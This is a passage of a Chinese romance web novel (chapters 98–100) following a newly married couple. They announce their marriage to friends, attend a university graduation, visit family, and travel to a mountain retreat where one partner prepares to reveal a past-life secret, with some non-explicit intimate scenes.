到了目的地,停好车后走了进去,出示会员卡验证身份,经理带着她们去包间。 今日一起吃饭的人,除了周青月,都是月影秋风的会员,不是会员无法进来。 但是周青月已经不用姜映去接了,周青月会跟着余简予一起来。 姜映在昨晚收到了周青月发来的消息,表白成功了。 她们早到了十来分钟,大家都很守时,约好六点见,五点五十多时陆陆续续走了进来。 人到齐了,入座上菜。 周青月瞧见云秋染,依旧很紧张,不太适应,说话时还是有点结巴。 余简予拧她的腰。 没出息,昨晚给她表白的时候,没见她这么紧张。 周青月可怜地看了她一眼。 余简予也是顾大局的人,不可能在这里收拾她,收回了手。 别人不知道程卿言为什么请客吃饭,她知道,她是唯一知情人。 果不其然,聊了会儿天,程卿言拿出了两本结婚证,挑眉上扬,笑着对大家说她和姜映领证了。 大家闻言,同时愣了几秒,和余简予刚知道时的反应差不多,有些惊讶她们这么快就结婚,缓过神后便是祝福。 苏敛懿道笑着道:“怎么不提前说一声,我空手就来了,礼物都没准备。” 云秋染也是同样的想法。 程卿言不和她们客气,道:“日后补上也是一样的,你们好好准备。” 几位姐在聊天。 周青月转了转眼珠,小声问姜映,欲言又止:“程总是不是……” 姜映偏头看着她:“她怎么了?” 周青月呼口气:“她是不是怀宝宝了呀?” “啊?”姜映怔愣几秒,很快明白对方为什么这么问,解释道,“没有,我们不是奉子成婚,是真的想结婚。” 这样啊,她还以为姜映这么年轻就要做妈妈了,周青月笑着道:“恭喜你啊,祝你们幸福。” 姜映点头:“会的。” 周青月说:“可惜林溪在国外回不来,我们已经好几个月没见了。” “我前几天给她发了消息,已经告诉她我结婚了。”姜映道。 几年的友情,周青月很想林溪,在大家团聚时不想缺了人,于是拿出手机给林溪打了视频,很快视频便被接通了。 声音传出来那一秒,坐在侧边的云秋染神色微凝,拿着汤勺的手顿了几秒,片刻后将情绪收敛,恢复了正常。 林溪祝福姜映新婚快乐,也祝福周青月恋爱快乐。 周青月问她:“你什么时候能回来?” “最近比较忙,明年春节可能会回来一趟,到时候我会告诉你们的。”林溪说。 姜映:“那春节见,你好好照顾自己。” 林溪应了声好,她那边的网络不好,画面比较卡顿,几分钟后便结束了聊天,挂断了视频。 周青月放好手机,感慨:“怎么感觉溪溪瘦了一大圈,国外读书也太辛苦了,国外的饭也难吃。” 除了读书辛苦,饭难吃,主要还是受了感情的影响,但周青月不知晓林溪和云秋染的事。 姜映颤了颤眼睫,感情的事,即使是朋友,也帮不了忙。 有情人不一定能终成眷属,她比谁都明白这个道理,因此她会更珍惜和程卿言在一起的日子。 她伸手牵着女人的手,十指相扣。 程卿言侧眸:“嗯?” 姜映小声对她说:“我好爱你。” 程卿言轻轻笑了一声,这人真是,怎么突然说爱她,她也小声回应一句,她很爱她。 饭后,时间比较早。 一起去了苏敛懿的酒吧玩了一会儿,人多氛围好,程卿言多喝了几杯酒。 只有姜映没喝,她喝橙汁。 苏敛懿对她说:“有空了你和卿言一起去我家吃顿饭吧,不是我自己住的家,是我妈妈妈咪也在的那个家。” “我觉得她们肯定也会很喜欢你,我想介绍你给她们认识,你看行吗?” 姜映心口颤了颤,昏暗的灯光掩饰了眼尾微微泛起的红,嗯了一声:“可以的。” 苏敛懿笑了笑:“那就这样说定了。” 晚上十点,玩得差不多了,大家道别,各自回家。 到了月泊林,进了屋。 洗完澡后两人还没困意,一起坐在沙发上看会儿综艺。 姜映思忖片刻,开口道:“阿卿。” 程卿言:“嗯?” 姜映看着女人的眼眸,认真道:“你相信前世今生吗?” 第99章 领带 (二更) 领带 第九十九章 从前的事,结局并不好,亲眼看着爱人离开,对于姜映而言是很痛苦的。 每想起一次,梦见一次,等同于在她未愈合的伤口上撒一把盐,疼得她喘不过气。 她会害怕现在她拥有的一切不是真的,是她失温缺氧倒在雪山时,濒临死亡前出现的幻觉。 因此她很爱听女人的心跳声,在她耳边一下下跳动着,她会觉得无比安心。 姜映没有打算瞒着程卿言,她想说,但她不知道怎么开口。 好几次话到嘴边又咽了下去,太沉重了,她在害怕。 所以她打算等她调整好状态,自己能勇敢面对了,再告诉女人从前的事。 可就在今晚,苏敛懿说想带她回家见她的双亲,已经很多年没见过的双亲。 她当年选择了死亡,跟随爱人而去,对于家里是愧疚的。 程卿言的离开是她无法愈合的伤口,那她的离开也会成为家人永远无法愈合的伤口。 愧对姐姐苏敛懿,更愧对呵护着她长大的双亲。 苏裕和姜映成长经历完全不同,苏裕从出生起就被家人捧在手心,在无限的爱中长大。 苏家和张芸,于她而言的感情自然也是不一样的。 张芸对她有生养之恩,但张芸对她的陪伴其实很少,生活太过忙碌,并不能将过多的心思分给她。 在姜映心里,她会尊重张芸,也会心疼张芸的辛苦,把张芸当长辈亲人看待,但她们之间的相处没有太多的亲昵。 而苏家的人,是她真正的家人,是可以分享喜怒哀乐,毫无顾忌在彼此面前哭泣,诉说难受的家人。 即使重来,她不是苏裕,苏敛懿依旧想带她回苏家,她不可能不触动,也就是那一瞬,姜映决定不再等待了,她得把过往告诉程卿言。 如果不说出来,可能她这辈子也无法勇敢面对。 过往不只是属于她,也属于程卿言,她们是相伴一生的恋人,可以一起面对过往。 “前世今生”这个词其实不能描述姜映的情况,严格来讲苏裕已经消失了,世界上根本没有苏裕的存在。 可她找不到更准确的词来形容了,暂且就用前世今生来代替。 姜映在问女人这个问题时,心跳微微加速,等着女人的回答。 相信前世今生吗? 若是从前,程卿言不会相信,她是坚定的唯物主义。 可在经历了和姜映的分别后,听了姜映在时空局做的那些任务,她觉得世界上什么事情都有可能发生,她都可以爱上一盏灯,前世今生也不足为奇。 “信吧,”程卿言困意突然来了,酒喝多了脑子有些昏,轻轻打了哈欠,头靠在女生肩上,“怎么了,是你在时空局听说的事嘛。” 姜映为了自由逃离时空局,和她相爱,为了她能活下去放弃自由又回到时空局,最后又因为她而回来,如此的浓厚的爱意就在她身边。 自然也会有人也会为了爱人,上演前世今生的事,她对这些事情的接受度已经高了。 姜映道缓缓道:“算是吧,你想听吗?” 程卿言抱着女生的腰,阖上眼睫,有点迷糊道:“我这会儿想睡觉了,下次再讲给我听吧。” 明天还得上班,过往的事情又很多,一时半会儿也讲不完,女人今夜又喝了很多酒,已经很累了。 姜映吻了吻女人的额头:“那我下次讲给你听。” 程卿言靠在她怀里,嗯了一声。 姜映看着爱人的脸颊,心里很柔和,抱着她回了卧室,关灯上床。 程卿言在女生唇上落下一吻:“晚安。” 姜映抱着她,温柔地道了一声晚安。 已过凌晨,她没有立马睡觉,在脑子里梳理着从前的事,从十六岁到三十岁,所有事情她记得很清楚,但是比较凌乱,得理一理才行。 在脑子里整理的时候,她才发现她有点理不清,事情太多,每一件事都想讲给女人听,不想有任何遗漏。 因此她次日便在电脑里建了专门的文档,还分了章节,像写故事一般,将其写了一下来。 不能耽误正事,空闲时间才能写写,速度比较慢,她也不着急,等写完了再给女人讲。 那时她们的过去,女人不知道,由她慢慢讲给女人听。 * 周末过得很快,转眼间又到了工作日。 天气越来越暖和,程卿言不想每天都穿衬衫,并且还得系上所有纽扣,因此她要求alpha不能在她心口以上的地方留下痕迹。 姜映答应了,并且遵守,很轻地吻女人,女人又会嫌她没劲儿,不满的时候还会将她踹下床。 她的爱人很傲娇。 姜映对此无奈又宠溺,乐在其中。 很快,程卿言发现不只是她会这样穿,余简予也开始将衬衫纽扣系到最上端。 开完会,余简予跟着她回了办公室,讨论了会儿工作上的事,事情解决后,程卿言调侃道:“你不热?” 余简予顺着她的视线看了眼领口,秒懂她的意思,切了一声:“你不也一样嘛,还说我。” 程卿言笑了笑说:“你之前不是说周青月是榆木脑袋吗?” 余简予坐下,抿了口咖啡道:“我和她沟通过了,她之前一直忍着不敢表白,是觉得我太优秀了,不敢相信我会喜欢她,她心里有点不自信,不是什么都不懂。” “而且我这也不能算进展快呀,正式确定关系在一起了才做亲密的事情,很正常好吧。” 周青月年纪小,她年纪可不小,正是喜欢这事的年纪,怎么可能谈寡淡的恋爱,只要待在一起就忍不住。 “也是,这样一说,你们算慢的了。” 程卿言想到了她和姜映之前的情况,没有确定关系时,什么事情都做了。 但她们并没有因为开始得早,而对彼此失去兴趣,反而越来越上头,很有默契。 余简予放下杯子,问道:“下午姜映会来公司吗?” 已经确定下来了,科技园项目要和科研院合作,科研院那边负责对接的人是楚工,恰好带姜映实习的人,近两个月姜映也会参于到这个项目中。 “昨晚我问过她,她今天来不了,今天要谈的事和她关系不大,不是她的工作内容。”程卿言告诉她。 余简予点头,聊了几句,几分钟后拿着文件出去了。 阴雨天,程卿言瞧了眼窗外,天色有些暗沉,容易犯困。 夜里又和坏家伙闹得厉害,就更容易困了,喝了大半杯咖啡提了提神,进入工作状态。 中午在员工食堂吃的午餐,饭后休息了半个小时,衬衫有了些褶皱,程卿言换了件新的,和秦助理一起去了会议室。 科研院那边的人已经到了,程卿言瞧见跟在楚工身后的姜映时,有些惊喜地眉扬了扬眉梢,随即敛了敛心绪。 正经场合,有正式要谈。 不能眉来眼去。 程卿言还是会不着痕迹地瞧一瞧工作状态的姜映,专注认真,也比较严肃,和平时的温和的状态完全不一样。 两个小时后,事情谈得差不多了,还剩一点小事需要对接,楚工想锻炼姜映,让姜映留下来处理。 姜映应了声好,没有离开会议室,和程氏的技术人员一起处理事情。 这会儿程卿言无需在场,即使她想留下,但技术部门的事她也不懂,她突然留在这里不仅有点奇怪,还会让员工感到拘束,影响工作效率。 离开前,她侧眸瞧了女生一眼,想给对方一些眼神暗示,告诉对方结束后去她办公室。 但人家工作得很认真,没空理她。 傍晚,临近六点,天色慢慢暗了下来,雨还在断断续续下着。 事情已经解决了,姜映刚走出会议室,就碰见了来找她的秦助理,秦助理一本正经道:“程总有事找您,让您去一趟她的办公室。” 还用上了“您”,她和秦助理已经很熟了,听着有点别扭。 姜映道:“好的,我这就去,麻烦您带路。” 路过的人瞧见了,也只当是程卿言对工作认真,找她过去是说项目的事。 到了办公室门口,秦助理小声提醒道:“老板的脸色好像有一点点不好,你得注意哦。” 姜映感激看着她:“我知道了。” 深呼一口气,抬头敲门,里面传来了一声泠然的“进”,她开门跨脚进去,门合上时自觉地将其锁上。 程卿言坐在椅子上,瞧着alpha锁门的动作,哼笑一声。 姜映笑着走过去,乖乖道:“姐姐。” 程卿言挑了挑眉梢,眸光落在对方身上,上上下下认真打量几眼,忽然感觉有些热了。 alpha这会儿穿的是科研院的定制工作服,利落的工装配靴子,身材高挑,又长了一张出众的脸,清冷沉稳中又带着只对她展现的柔和。 “姐姐?”女人没理她,姜映又叫了一声。 程卿言颤睫回神,解开衬衫最上端那两颗纽扣,呵笑道:“不是说下午不来吗,骗我?” “没骗你,我本来不来的,要来的同事今天下午突然拉肚子,有点严重,所以才换成我了。”姜映眨眨眼,解释道。 程卿言:“那你怎么不给我发消息,提前告诉我?” 姜映看着她:“想给你惊喜。” 是有些惊喜,程卿言忍住笑意,继续说:“在会议室的时候,有的人可是看都没看我一眼。” “那是正经场合,我如果看了你,会忍不住想一直看你,不能那么招摇,影响不好,我们得低调点,”姜映牵着女人的手,“你别生我的气了好不好。” 程卿言站起来,傲气地看了她一眼:“我可没生气。” 姜映:“真的?” 程卿言:“不然?” 姜映主动抱她:“那你亲我一下。” “得寸进尺。”程卿言捏着女生的耳朵。 姜映:“那我亲你。” 话音落下,快速在女人脸上吻了一下。 觉得不够,眉眼,鼻梁,下巴都挨着亲了亲,最后吻着女人的红唇。 想往里探时,程卿言推了推她,呼口气道:“不是说影响不好吗,你这是在做什么?” 姜映眼眸含笑看着女人:“这里没别人,不会有人看见。” 这话听着怎么有点不对劲儿,她们是有证的合法妻妻,还怕人看见吗,搞得像偷|情一样。 不过对方这样说,程卿言莫名生出些别样的感觉,又是在办公室,alpha穿成她从前没见过的工装。 她深呼一口气,放任女生抱她,主要是她也想了。 片刻后文件落地,程卿言掌心扶着桌沿,瞧着桌面上的轻轻晃动的青竹摆件。 “阿卿。”alpha在她身后叫她。 程卿言呼口气:“嗯?” alpha在她耳边说了一句话,程卿言听得眉心一颤,骂了句混蛋。 姜映其实很喜欢听女人骂她,不觉得这是骂,她觉得这是夸她。 女人夸她。 礼尚往来,她也会加倍夸回去。 窗外的天又暗了一些,雨势时大时小,淅淅沥沥落了一天。 桌上的青竹摆件移了位置,几分钟后又放了回去。 关门上响起后,办公室恢复了安静,程卿言呼口气,瞥了眼时间,六点二十六分。 哼。 片刻后她看着青竹摆件,再一次骂了句混蛋,她伸手系好衬衫纽扣,静静坐着缓了缓身上的酸意。 正经妻妻,偷偷摸摸的,成何体统。 而且坏东西结束后也没像往常那样抱着她安抚她,直接小跑离开了,说是这个点在她的办公室待久了,影响会不好。 做完影响就不好了。 好的很。 程卿言在心里骂了几句,拿起手机发消息:【在咖啡厅?】 姜映秒回:【对的,阿卿你要下来了吗?】 程卿言:【等着】 出了汗不舒服,她回休息室洗了澡,换上干净的衣服,十来分钟后坐电梯去了停车场,到了咖啡厅附近时卡宴停下,女生很快就拉开车门上来了。 程卿言看了她一眼:“不跑了?” 姜映态度良好道:“我错了,姐姐你惩罚我吧。” 只有自觉做错了事,alpha才会叫她那么多声姐姐,程卿言笑了一声,也不是真的生气,看着她道:“你想的到挺美。” 她才不惩罚对方,她知道这人的爱好,惩罚对于她而言就是奖励。 坏家伙还想要奖励? 哪来这种好事。 近期都没在家做饭,今夜不想胡闹了,主要是得缓缓才行,不然身体吃不消了。 阿姨下午给她们卤了牛肉,于是姜映做了两碗牛肉面,再炒了一份蔬菜。 吃得简单,味道却好,程卿言很喜欢这种爱人作伴,细水流长的感觉。 饭后她得加会儿班,女人在写改毕业典礼的发言稿。 柚柚和拉面丸子在窝呼呼大睡。 时光就在如此温馨寻常的安稳中流逝着。 五月结束,转眼到了六月。 碚城大学的毕业典礼在六号举行,除了毕业生和校领导教师等人,无关人员不能去典礼内场。 学生家长会有邀请函,但也只能进碚大的校园,想看毕业典礼只能通过网络直播。 因此程卿言就不只是作为家属过去,程氏成为了这次毕业典礼的赞助商,校方给她在内场前排安排了位子。 她可不想在外面等着,她得亲眼见证姜映人生中的重要时刻。 毕业典礼八点开始,姜映得作为优秀毕业生代表,需要上台发言,六点半就得去碚大,最后核对一遍流程。 程卿言用不着这么早过去,但还是和她同时起床,吃早饭换衣服。 女生今日得穿正式些,衬衫配休闲西服,还有小领带,她亲自给她搭配的。 程卿言小时候没玩过洋娃娃,她也不懂别人为什么喜欢玩,三十岁忽然懂了其中的乐趣,给喜欢的人搭配衣服,是件很有意思的事情。 姜映走到玄关处,抱了抱女人:“那我先过去了。” 程卿言:“会紧张吗?” 姜映如实说:“现在不紧张,等会儿可能会有点点紧张,也可能不会。” “宝宝加油。”程卿言在女生耳边说。 姜映耳畔微红,笑了一声:“我会的。” 程卿言道:“一会儿见。” 姜映应了声好,不能再耽搁下去,不然会迟到,在女人脸上吻了一下,背着包去了碚大。 * 程卿言毕业将近十年了,期间没去过大学校园,对校园氛围已经很陌生,没想到还有机会感受一下。 她的老婆居然才大学毕业,在车上时,她感慨一句。 坐在她旁边的余简予深有同感,她女朋友也刚大学毕业。 她们不介意谈年纪小的,但从前真没想过会谈女大。 程卿言道:“你们打算什么时候领证?” “我和青月吗?”余简予没考虑过,想了想道,“如果感情稳定的话,过几年可能会结。” 她对结婚没什么感觉,谈恋爱也挺好的,她和程卿言的情况不一样。 程卿言只是随口问一问,很快就聊到了别的事情上。 半个多小时后,车开进了碚大的停车场,理了理衣服,一起去了举行毕业典礼的内场。 周青月不用上台发言,因此余简予特意让工作人员给她安排了靠后的位子,可以挨着周青月。 毕业典礼八点开始,有暖场活动,正式开始在九点,校领导发言,优秀毕业生代表发言,拨穗等等,每年的流程都差不多。 姜映上台发言时,程卿言坐在前排位子,距离她很近,眼眸盛满了欣赏与爱意,她能感受到女生一点也不紧张。 从容得体,游刃有余。 这是她爱人。 程卿言嘴角微扬,露出骄傲的笑容。 时间一分一秒过去,临近十一点,毕业典礼到了尾声,姜映也回到了自己在观看席的位子,没有和程卿言挨着,但她能瞧见女人的背影。 姜映给女人发了消息,约好了一会儿见面的地点。 今日校园里人很多,比较热闹,不提前约好,容易找不到人。 十分钟后,程卿言到了女生所说的地方,在一颗银杏树下瞧见了对方。 姜映也看见了她,小跑过去牵起她的手:“阿卿。” 程卿言温柔地给她理了理发梢,问道:“你怎么知道这里人少?” 姜映说:“我以前喜欢安静的地方,偶然发现的。” 以前喜欢安静。 好想也是,程卿言细细想了想,女生从时空局回来后,确实变得比她们刚认识那一阵要活泼些。 不是指在她面前,而是在大家面前话也多了些。 姜映问她:“想逛一逛碚大的校园吗?” “不了,今日人太多了,下次人少的时候我们再来逛。”程卿言看着女生。 姜映觉得她说得有道理,没有去逛校园,牵着女人去了前面的木凳上坐着,聊会儿天也挺好的。 草地里突然跳出来一只猫,对着她们喵喵叫了几声。 程卿言记得它,之前姜映给她发了这只猫的照片,那一阵女生很爱给她发消息,日落,晚霞,猫,植被,路灯光晕下的影子,这些都发过。 她虽然没来过碚大,但碚大校园里的很多东西她的见过。 微风吹拂,树叶飘落在眼前。 这里人虽然少,但也不是没人,不远有两个女生手牵着手路过此处,个子较矮的女生在高个女生脖子上亲了一下,打打闹闹。 程卿言瞧见时轻笑一声,问道:“她们是情侣吗?” 姜映判断:“应该是,朋友之间不会亲脖子。” 程卿言捏了捏女生的手,有些感慨道:“我也好想和你谈一场校园恋爱,可惜谈不了。” 大九岁,她大学快毕业时,姜映刚上初一。 她们谈过校园恋爱,十八岁就开始谈了。 姜映心口颤了颤,她已经将过往的事写得差不多。 只剩下女人离开后,她独自生活的那一年没有写,她也不打算写这一年了。 因为那不是她们的最终结局,结局已改写,生活还在继续。 午饭没有在碚大的食堂吃,也没在附近吃,人太多了。 开车回到月泊林,在月泊林旁边的餐厅吃了饭,饭后慢慢走了会儿,坐接驳车到了院子门口。 进了屋,吻着回了房间。 “要先洗澡吗?”姜映抱着女人的腰。 程卿言摇头,扯了扯alpha的领带,低着声音道:“想看你穿这样。” 姜映心跳加速,深呼一口气,懂了她的意思,应了声好。 几息后,领带覆在了女人的手腕上。 程卿言没有异议,只是叫她的名字:“姜映……” 姜映喜欢女人叫她的名字,呼吸落在她耳后:“明天我们去秋云山行吗?” “去做什么?”程卿言断断续续问道。 姜映闻着属于女人的樱桃味,吻了吻她的鬓角:“去那里给你讲一个故事。” 关于她们的从前。《 》 第100章 正文完 第100章 正文完 正文完 第一百章 为什么要选择去秋云山,将过往告诉程卿言。 姜映心里知晓答案。 除夕夜那晚,她回到时空局的最后一夜,女人开车带她去了秋云山看落日晚霞,看碚城的夜景。 她们烤着火,挤着坐在露台的单人沙发上,一宿没睡。 聊着日常,她的小时候,女人的小时候,以及她在时空局时去往不同世界做到各种任务。 即使感觉嗓子已经哑了,依旧不敢停下。 当时都以为那是她们能够一起度过的第一个除夕夜,也是最后一个除夕夜。 她随时会消失,每一秒对她们而言都很珍贵。 程卿言在中途睡着了一次,几分钟后也会猛然惊醒,害怕她会消失不见。 等到了日出,充满希望的光落在了她们身上,程卿言想记录这一幕,高兴地回了客厅拿手机,她在露台上等女人。 也就是这短短的几十秒,她突然消失,回到了时空局。 离别前没有拥抱,没能说任何道别的话,也没能记录下那一幕,甚至无法看女人最后一眼,姜映心里不可能不遗憾。 从前苏裕的遗憾永远无法修补。 重来一次,姜映得弥补这一次的遗憾,因此她想去秋云山。 山顶会所的房间她已经定好了,不是除夕夜那一间,但房间是挨着的,房费虽然昂贵,偶尔一次,她能承当得起。 去那里给女人讲一个属于她们的故事。 程卿言想问是什么故事,但alpha并没有给她说话的机会,柔软枕心承载了她一次次的吐息与眼尾滑落的泪水。 三点左右回的卧室,天气好,没开灯,只拉了纱帘。 映照进来的光也比较明亮,能看清彼此神情的颤动。 此刻天色逐渐暗下去,室内视线已经黑了,起伏的呼吸才平息下来。 “啪嗒”一声响,暖黄的灯亮了起来。 程卿言躺着缓了好一会儿,话都没力气说了。 姜映解开束在女人手腕上的领带,女人皮肤薄,微微泛了点红,她关心道:“手腕疼不疼啊?” 程卿言颤睫摇头,抬手遮住眼眸。 没什么感觉,比起手腕上那点微不足道的疼,另一处的感觉要明显很多。 也不能说是疼,而是酸意。 姜映收拾好后,躺回床上抱着她:“饿了没?” 程卿言软软道:“没有,几点了?” 姜映告诉她:“马上七点半。” 居然折腾了这么久,程卿言明显能感觉到女生今日过于兴奋,因为领带和衣服带来的视觉享受吗,可能是吧,她这会儿累的没力气去想这些。 “我想睡会儿,你乖一点,不能再闹醒我。” 姜映点头:“我知道了,你睡。” 程卿言有点怕她又来,这人在床上的时候可没有平时乖:“保证?” 姜映吻了吻女人的脸,笑着道:“你怎么不相信我了呀。” 程卿言有气无力地哼一声,还不是因为这坏家伙总对她说最后一次,哄着她来了无数个最后,毫无信誉可言。 骂了几句,片刻后就睡着了。 但是她没睡很久,一个多小时后就醒了,两人一起洗了澡,穿上睡裙去了客厅。 已经很饿了,做饭有点慢,直接让餐厅送了餐。 程卿言吃饭时问道:“你明天想给我讲什么?” “明天再告诉你。”姜映笑着看着女人。 程卿言思忖片刻,猜测道:“之前你提过的那个前世今生的故事?” 姜映还是那句:“明天再告诉你。” 程卿言呵了一声,神神秘秘的,她倒要看看明天这人能讲出什么花样,总不可能说她们有前世今生吧。 休息了会儿,一起去了院子。 近期她们虽然不是很忙,几乎每天都回家,但陪三小只的时间却不是很多,她们的空闲时间都用来做快乐的事情去了。 今夜有空,得好好陪着拉面丸子和柚柚玩了一会儿。 拉面丸子兴奋得不行,叼着球在院子里到处跑,呜呜呜地叫着。 柚柚是只性格独立的小猫,和小狗不一样,玩了一会儿就跳到花架上休息。 程卿言最近只训了alpha,没有训过小狗,心血来潮训了会儿它们,下达一个个指令,趴下,翻身,握手等等。 很久没有练习,拉面丸子有些生疏了,复杂的指令不能立马反应过来,得歪着狗头想一会儿,偶尔还会做错。 姜映瞧见了,对女人说:“它们没有我听话。” 程卿言笑着嗔了她一眼,这人还和小狗比上了,捏了捏女生的脸,意有所指道:“可比你听话多了。” 拉面丸子汪汪汪叫几声,表示赞同。 小狗单纯,不知道主人们其实是在打情骂俏。 姜映从身后抱着女人,问道:“那你是喜欢我听话些,还是不听话?” 程卿言挑眉:“你不知道?” 姜映当然知道女人不喜欢听话的,如果她在做那事时乖乖听话,执行女人所说的慢点,停下,离远点这些指令,女人肯定会对她不满。 “不知道,阿卿你告诉我吧。” 不知道? 哼。 故意的。 程卿言转身,看着女生道:“我喜欢听话的。” 姜映眨了眨眼,正想说点什么,受了冷落的拉面丸子对着她们叫了两声,程卿言听见后推开了她,继续陪着小狗玩。 十点出头,拉面丸子玩累了,去了狗窝睡觉,她们也回了卧室。 睡前姜映认真洗了手,取下女人前些日子送她的戒指,躺在床上,吻了吻女人的下巴:“阿卿……” 程卿言呼口气:“嗯?” 姜映求女人,让女人训训她。 程卿言轻笑一声,翻身坐在对方腰上,居高临下看着alpha,说了句只有她们两人能听的话。 姜映眸光颤动,心跳快了起来。 卧室的灯不知何时关上了,床头柜的抽屉打开,枕头掉在了地毯上,片刻后被子也掉了一半下去。 “阿卿。”姜映出声道 程卿言阖着眼睫:“嗯?” 姜映停下问,笑着问:“你不是喜欢听话的吗?” 程卿言颤眉:“你……” 都很了解彼此的心思,明知故问,乐在其中。 听话得分时候,也不是固定的一方必须得听另一方的话,程卿言骨子里虽然傲,但姜映不是她的下属,是她共度一生的爱人,即使年纪比她小,在大事上她们都会商量过后再做决策。 她也时常听对方的,无论是正经事上还是不正经的事情上。 只要对她们而言没坏处,她都能接纳。 * 翌日晴天。 两人其实不爱睡懒觉,昨夜睡得太晚了,才起得晚了些。 九点起床,吃了早餐,收拾好后开车离开月泊林。 没有直接去秋云山,而是回程家老宅。 在老宅用午餐,下午才去秋云山听故事。 程卿言的小姑程笠比她们先到一会儿,在客厅和程老太太聊日常。 在院子里停好车,程卿言笑着问道:“真的一点也不紧张?” 姜映点头:“真的。” 她从前来过很多次老宅,也和程老太太见过,她知晓程老太太和程卿言的关系一般,这里虽然是女人的家,但也是名义上的家。 女人小时候过得并不快乐,程老太太有很大的责任,她不喜欢一切让女人感到难受的人或事,因此她不会紧张,很平静。 姜映问:“你紧张?” “嗯?”程卿言笑,“我有什么紧张的。” 姜映牵着她:“那我们进去吧。” 早点结束,早点离开,女人并不喜欢回老宅,回来只是出于对长辈的尊重。 女生牵着她的手往屋内走,程卿言微微惊讶,对方是怎么知道该往哪个方向走的? 程家老宅的面积很大,比月泊林大了好几倍,院子不是正对着大门,得走一小段路才能到。 若是第一次来,没有熟悉这里的人领路,很有可能迷路。 怎么感觉姜映对老宅很熟悉,像是来了很多次一般。 程卿言看了看女生的侧脸,心绪微微起伏,这人不会真和她有前世今生吧。 她呼口气,准备等离开了老宅再仔细问问。 进了屋,她向程笠和老太太正式介绍了姜映,姜映面对她们时也很淡定,礼貌得体地打招呼。 程老太太略微满意地看了看她,没有刁难,入座用餐。 饭后聊了会儿天,程老太太让姜映单独跟着她书房,有事要和她说。 客厅里只剩下程卿言和程笠。 程笠问有点惊讶:“你就放心让她去了?” 程卿言很放心:“小姑,她不是小孩,作为我喜欢的人,她有能力处理好这些事,我干嘛要担心。” 而且姜映那性子,除了面对她时会眼红哭泣,别的人可没这个本事影响女生的情绪。 程笠笑了一声:“我真没想过你会这么早结婚。” “我以前也没想过,”程卿言如实说,“遇见合适的人就想结了。” 程笠调侃道:“你这是算是老牛吃嫩草。” 程卿言说:“我可没觉得我老,三十岁哪里老了。” “单独来看,三十岁是很年轻,但姜映才二十出头,和她比起来你就是年纪比较大呀,你居然喜欢这么小的。” 程笠在碚城大学任教,没有教过姜映,但也在学校里听说过姜映,在学业上很优秀,样貌也不错,但是有件事她想确认。 “我好像听说过她是信息素无能,真的还是假的?” “假的,她厉害得很,”程卿言看着她道,“小姑你就别担心,她很好,没有任何缺点,虽然年纪听起来小了些,人一点也不幼稚,成熟稳重。” 见她这样说,程笠也不再这些问题了,由衷道:“祝你们幸福。” 程卿言笑了笑:“会的。” 程笠好奇问:“你们是怎么认识的?” 一方是家境普通学生,另一方是程家的继承人,不太可能会产生联系。 闲着也是没事,程卿言给她说了说她和姜映相识的过程,她在讲的时候,等同于回忆她们的过去,心情很好,嘴角一直扬着。 程笠能感受到对方是真的快乐起来了,比从前柔和了很多,不禁在心里感慨爱是种神奇的东西,可以抚平过往的伤痛。 她是程老太太的晚来女,只比程卿言大了几岁,年纪相差不大,但是她们小时候相处的时间很少。 她十来岁就去了国外念书,只有逢年过节才会回来,而程卿言呢,一直被老太太严格管教着,没有休息时间,在同一个家里,她们的沟通也很少。 年纪慢慢大了,相处模式就定型了,不会过分亲近,但也没有任何矛盾。 很少联系,见了面也能聊几句。 程笠拿出一张卡递给她:“给你们的结婚礼物。” 对方什么也不缺,她也想不出来送她们什么,给钱反而是最合适的。 程卿言收下:“谢谢小姑。” “不客气,”程卿言问,“你们什么时候举行婚礼?” 程卿言说:“我们不急,目前没有这个打算。” 程笠点了点头。 闲聊片刻,姜映从书房走了出来,程卿言问道:“奶奶呢?” 姜映道:“奶奶说她想在书房待会儿,不想让人打扰她。” 程卿言嗯了一声,老太太应该是在书房怀念她双亲,看录像和照片。 既然老太太不想被打扰,离开时她们也没特意过去道别,慢慢走着去了停车的院子。 姜映牵着女人的手:“你怎么不问我老太太和我说了什么?” 程卿言眉梢扬了扬:“我不问你也会说。” 好吧。 确实是这样。 其实也没聊什么,程老太太给姜映讲了程卿言双亲活着时的事情,给她看程颐和洛泠的照片,程卿言遗传了她们的长相。 老太太一直很希望程卿言早点结婚,因为这是程颐离世前最后的遗愿。 现在实现了,也比较满意姜映,日后老太太不会再管程卿言的任何事情。 老太太将她在程氏的大部分股份都转给了程卿言,作为给程卿言结婚礼物。 程卿言听后,没有太大的反应,问道:“就这些?” 姜映点头:“就这些。” 程卿言道:“那和我想的差不多。” 她们没过多在意这件事,享受彼此相处的时间,很快聊起了别的事。 快到秋云山顶上时,程卿言问:“对了,你为什么对老宅的布局这么熟悉?” 姜映颤睫,想了想道:“因为我去过。” 去过? 程卿言将车开进山顶会所的停车场,侧眸看着女生,不解道:“你什么时候去过?” “以前去过。”姜映道。 “以前是什么时候,我怎么不知道,”程卿言猜测道,“老太太从前单独找过你?” “不是的,”姜映看着女人的眼眸,“我们先下车,等会儿再告诉你。” 进了会所,姜映在前台取了房卡,牵着女人去了她定的房间。 门合上,她抱着女人的腰往前移了几步,吻住女人的唇。 来的时间很微妙,瞧好是落日十分,美不胜收的晚霞染了半边天。 程卿言对这里也有特殊的感情,之前她和姜映就是在这里分别的,她的爱人离开了,什么也没给她留下,她遗忘了属于她们的所有事情。 吻了片刻,她们一起去了露台看落日晚霞,微分拂过,山间的竹林沙沙作响。 程卿言拿起手机,补上了之前没拍下的合照。 照片里,她微仰头吻着alpha的下巴,alpha眼眸中浓浓的情意浮动着,没看镜头,而是看着她。 身后是灿烂晚霞,她们十指相扣。 “你好像又长高了一点。”程卿言看着照片道。 姜映眨了眨眼:“会不会是你变矮了?” 程卿言嗔了她一眼,这坏家伙是不是在找抽,冷冷道:“你说什么?” 姜映识趣,立马改口道:“那可能真是我长高了,不过这也可能是你的功劳。” 何出此言? 程卿言问:“和我有什么关系?” 姜映抱住女人,在女人耳边说:“你之前不是说多喝奶会长身体嘛。” 瞬间懂了她意思的程卿言:…… 呵了一声。 “你已经够高了,不用再长了,就别喝了。” 这可不行,姜映眨眼,乖乖对女人说:“我错了,姐姐你最好了。” 程卿言捏了捏女生的耳朵,骂了句坏家伙。 晚霞慢慢褪去,天际染上了淡淡的灰,碚城的夜景也缓缓呈现在眼前,点了晚餐,吃过后她们又回到了露台。 六月份的夜已经很暖和了,虽是在山上,但也不用烤火。 姜映吻了吻女人的耳畔,深呼一口气,在她耳边叫她的名字:“程卿言。” 